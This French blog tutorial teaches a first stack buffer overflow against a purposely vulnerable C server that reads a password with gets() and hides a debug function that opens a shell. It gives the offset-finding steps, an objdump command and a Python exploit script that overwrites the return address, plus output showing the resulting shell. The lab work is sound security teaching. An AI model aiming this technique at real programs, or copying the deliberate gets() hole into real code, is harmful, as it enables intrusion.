Votre premier débordement de tampon

Nov 27 2022
Que vous soyez étudiant, développeur ou responsable d'une entreprise, vous devriez essayer ceci. La clé pour écrire un code sûr est de comprendre comment un mauvais code se brise.

Que vous soyez étudiant, développeur ou responsable d'une entreprise, vous devriez essayer ceci. La clé pour écrire un code sûr est de comprendre comment un mauvais code se casse. La seule façon de casser le mauvais code est de se salir les mains et de commencer à faire éclater des coquilles sur les défis d'exploitation binaire. Dans cet article, je vais vous expliquer comment exécuter votre propre attaque par débordement de mémoire tampon en utilisant un exemple que j'ai fait sur YouTube.

Dans l'une de mes vidéos YouTube, j'ai expliqué comment les chaînes en langage de programmation C ont piraté les gens. La raison principale en est qu'il n'y a pas d'attribut de longueur intégré associé au type de chaîne C. La seule façon de savoir si une chaîne est terminée est de naviguer jusqu'à la fin de la chaîne.

https://youtu.be/fjMrDDj47E8

Ce concept a conduit à d'innombrables vulnérabilités de dépassement de mémoire tampon dans les logiciels et, par conséquent, a conduit à des milliers de cyberattaques et au vol de données personnelles.

Notre serveur vulnérable

Vous trouverez ci-dessous du code pour un serveur simple en C.

#include <stdio.h>
#include <secrets.h>

void debug() 
{
    printf("!! ENTERING DEBUG MODE !!\n");
    system("/bin/bash");
}

int checkPassword()
{
    char password[64];

    printf("password: ");
    gets(password);

    return isValidPassword(password);
}

int main(int argc, char **argv)
{
    printf("WELCOME TO THE SECURE SERVER\n");

    if (checkPassword())
    {
        debug();
    } else {
        printf("Wrong password, sorry;\n");
    }
}

Cependant, il y a une vulnérabilité majeure ici. Le mot de passe qui est finalement vérifié est lu par la fonction gets , qui est une fonction extrêmement vulnérable. Si vous ne me croyez pas, consultez la page de manuel pour gets.

Never use gets(). Because it is impossible to tell without knowing the data 
in advance how many characters gets() will read, and because gets() will 
continue to store characters past the end of the buffer, it is extremely 
dangerous to use. It has been used to break computer security. Use fgets() 
instead.

La pile

La partie la plus difficile à comprendre pour les programmeurs et les professionnels de la cybersécurité est de savoir comment un dépassement de données en dehors d'un tampon peut conduire un pirate à prendre le contrôle de votre code et, en fin de compte, de votre ordinateur. La façon dont cela se produit est due à la façon dont les ordinateurs organisent la mémoire lorsqu'un programme s'exécute.

Figure 1 : exemple de contrôle de flux de programme

Dans l'exemple de code ci-dessus, le programme démarre dans main. Après le démarrage de main , à la ligne 10, other_function est appelée. Ce qui est extrêmement important à comprendre, c'est comment other_function sait aller à la ligne 11 après son retour.

La structure qui contient ces informations est appelée « la pile ». La pile est la région de la RAM utilisée lors de l'exécution de votre programme et utilisée pour stocker à la fois les informations de flux de contrôle (telles que les adresses de retour), mais également les données.

Lorsque main appelle other_function , l'adresse qui s'exécutera ensuite dans main après le retour de other_function est placée en haut de la pile. other_function s'exécute, puis le programme revient à l'adresse stockée par main .

C'est là que les débordements de tampon commencent à avoir de l'importance. S'il y a un dépassement de mémoire tampon dans les données de votre programme, vous pouvez modifier les informations de flux de contrôle et éventuellement modifier la façon dont le programme s'exécute.

Essayez-le vous-même

La même chose s'applique à cet extrait de code ici. L'idée derrière ce programme est la suivante : si vous connaissez le mot de passe, vous obtenez un shell. Malheureusement, nous, les pirates, ne connaissons pas le mot de passe, nous n'avons donc pas de shell. Cependant, comme la fonction gets est utilisée, nous pouvons tirer parti de la vulnérabilité de débordement de la mémoire tampon et déborder l'adresse de retour. Au lieu de revenir à main , nous pouvons revenir directement à la fonction de débogage sans connaître le mot de passe.

Suivez ici:

https://github.com/lowlevellearning/secure-server-stuff

Tester la fonctionnalité

Pour commencer, nous devons exécuter le serveur et tester ses fonctionnalités. Aussi, essayons de deviner le mot de passe.

D'accord, pas de dés. C'est là que le piratage commence.

Faire planter le serveur

Nous pouvons profiter du débordement de tampon, comme son nom l'indique, en débordant le tampon. Pour ce faire, nous fournissons plus de données que le serveur ne peut en gérer.

En bas, nous voyons que le programme avait un défaut de segmentation. Cela signifie que le programme a essayé d'accéder à la mémoire à laquelle il n'a pas pu accéder. Si vous êtes un développeur, c'est mauvais. Mais, si vous essayez de pirater le serveur, c'est bien :)

Décomposons le crash un peu plus loin.

Ici, nous pouvons voir que le programme a fait une erreur de segmentation lors de la tentative d'exécution des instructions à l'adresse 0x41414141. Cette adresse devrait sembler… étrange. Chose intéressante, 0x41414141 est la représentation hexadécimale de la chaîne "AAAA", ce qui signifie que notre chaîne de As a débordé dans l'adresse de retour et que le CPU a essayé de l'exécuter. MAINTENANT ÉTAIENT HACKING !

Prendre le contrôle

Pour obtenir un contrôle exact de l'adresse de retour, nous devons déterminer spécifiquement quelle partie de notre chaîne ASCII a causé le plantage du programme. Nous pouvons le faire en modulant notre chaîne avec différents caractères et en utilisant les caractères pour déterminer où commence et se termine notre contrôle de l'adresse de retour.

Au lieu d'une longue chaîne de As, nous mettons 64 As, suivis d'une série de caractères ASCII supplémentaires. 64 est la longueur de notre tampon d'entrée, c'est donc un bon endroit pour commencer à deviner la longueur. Après cela, nous insérons des caractères supplémentaires. Pour vérifier où commence notre contrôle, utilisez la même commande que précédemment.

Vous pouvez maintenant voir que nous avons une nouvelle adresse de retour. 0x45454545 est la représentation hexadécimale de "EEEE" ! Cela signifie que nous avons déterminé où notre débordement prend le contrôle du pointeur de retour. À partir de là, nous devons mettre une adresse dans le tampon qui nous intéresse réellement. Nous essayons de revenir à la fonction de débogage, nous devrions donc mettre cette adresse à la place de la chaîne EEEE.

Pour déterminer l'adresse de debug, on lance une simple commande…

objdump -d -Mintel ./hacked | less

Il semble que l'adresse de débogage soit 0x08049296. Si nous mettons l'adresse de débogage là où se trouvait notre chaîne EEEE, nous pouvons peut-être contrôler le programme et revenir au débogage sans avoir besoin du mot de passe.

L'exploit final

Nous pouvons le faire en utilisant du python-fu.

import sys

payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]

sys.stdout.buffer.write(payload)

user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER

password: !! ENTERING DEBUG MODE !!

cat password
too_kool_4_skoo

Veuillez me suivre sur Medium, allez vous abonner sur YouTube. Plus à venir!